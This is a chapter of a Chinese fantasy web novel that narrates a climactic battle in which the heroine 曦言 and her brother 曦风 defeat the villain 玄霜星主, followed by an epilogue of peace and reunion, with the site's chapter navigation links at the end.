    曦言的白裙渗出幽蓝的光,人鱼族符文顺着裙裾爬向心口。她虚弱地伸手触碰兄长的脸,指腹擦过他眼尾的泪痣:"原来...小时候你总戴面具,是怕我看见你为我受伤的样子..."话音未落,整座純玥楼突然剧烈震颤,玄霜星主的暗紫色瘴气冲破外墙,在地面腐蚀出狰狞的黑洞。


    冰雅泉的蓝色身影破窗而入,发间玉簪彻底碎裂,九条冰龙仅剩三条盘旋在她身后。"银玥!我撑不了多久!"她挥出冰刃拦住瘴气,蓝色裙摆被腐蚀出破洞,"启动共鸣阵需要你们同时注入灵力,但..."她的目光扫过曦言逐渐透明的身体,"苒苒的人鱼血脉会被反噬!"


    "我来承担。"曦风的声音没有丝毫犹豫。他扯开衣襟,露出心口与曦言相同的人鱼咒印——那是三年前为了分担她的痛苦,强行种下的禁制。当他握住曦言的手,两股灵力在北斗星图中轰然相撞,整个刃雪城的冰层开始共振,远处雪皇与玉衡仙君的身影在极光中若隐若现。


    朴水闵突然撞开房门,熹黄色衣服染满紫黑血迹,怀中紧紧抱着半块鲛人鳞片。"公主殿下!这是...您母亲藏在瑀彗大殿的..."话未说完,玄霜星主的巨爪已穿透她的肩膀。少女却拼尽最后力气将鳞片抛向曦言,露出带着血的笑容:"小闵儿...终于...能帮上忙了..."


    鳞片融入曦言体内的刹那,她周身爆发出璀璨的银蓝光芒。月神冕旒与北极星纹章在空中交织成环,人鱼符文化作锁链缠住玄霜星主的咽喉。曦风望着怀中光芒渐盛的少女,终于摘下了那副戴了十年的面具,露出带着伤痕却温柔的笑容:"苒苒,这次换我带你看真正的极光。"


    归渔居的灵力共鸣阵迸发的光芒直冲九霄,将整片冰雪大陆的迷雾都染成银蓝。曦言周身的人鱼符文与曦风的北极星纹章彻底相融,化作一道璀璨的星河结界,将玄霜星主的暗紫色瘴气尽数吞噬。玄霜星主在光芒中发出不甘的怒吼,身形却如泡沫般迅速消散,只留下一枚暗紫色的晶核坠落在地。


    冰雅泉力竭跪倒,蓝色裙摆铺满破碎的冰晶,沈卿立刻上前将她护在怀中,太极图的光芒温柔地笼罩着两人。朴水闵的身体缓缓倒下,曦言眼疾手快,凝聚起一道灵力托住了她,人鱼族特有的治愈之力从指尖流淌而出,将少女肩头的伤口迅速愈合。


    雪皇与玉衡仙君携手而来,雪皇的湛蓝色冕服早已破碎,却在见到女儿平安无事时,眼中泛起了泪光。玉衡仙君轻轻握住她的手,二十年前被迫分离的遗憾,在这一刻终于烟消云散。


    “母亲...”曦言扑进雪皇怀中,泪水打湿了母亲的衣襟。雪皇颤抖着抚摸女儿的长发,哽咽道:“对不起,是母亲错了...以后再也不会逼你了。”


    战后的刃雪城开始重建,幻雪帝国迎来了前所未有的和平。曦风摘下了象征权力的北极星发冠,将王位交给了更适合的人选。他与曦言在茉莉花田丘种下了一片极光花海,每当夜幕降临,花海中便会升起绚丽的极光,如同他们的爱情般璀璨。


    朴水闵依旧跟在曦言身边,不过这次,她不再是侍女,而是以朋友的身份陪伴左右。她的熹黄色裙摆依旧活泼灵动,时不时会和曦言在花田里追逐打闹。冰雅泉与沈卿则游历宇宙,偶尔回到幻雪帝国,为众人带来各地的奇闻趣事。冰雅泉的蓝色衣裙在极光下飘逸如仙,沈卿总是温柔地看着她,太极图的光芒化作点点星光萦绕在两人身旁。


    在曜雪玥星的星空下,圣界的兄弟姐妹们围坐在篝火旁。曦言靠在曦风肩头,听着冰雅泉讲述着他们在异星的冒险故事;朴水闵则忙着给大家分发新烤好的冰莲饼;雪皇与玉衡仙君相视一笑,眼中满是欣慰。远处的梧桐树街,茉莉花的香气与极光的冷冽交织在一起,诉说着永恒的誓言。


    岁月流转,他们的故事成为了宇宙中最美的传说。而那一句“哥哥,我喜欢你”,也在极光花海的见证下,化作了永不褪色的深情。无论未来如何,他们都将携手同行,在圣界的浩瀚星空中,继续书写属于他们的传奇。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)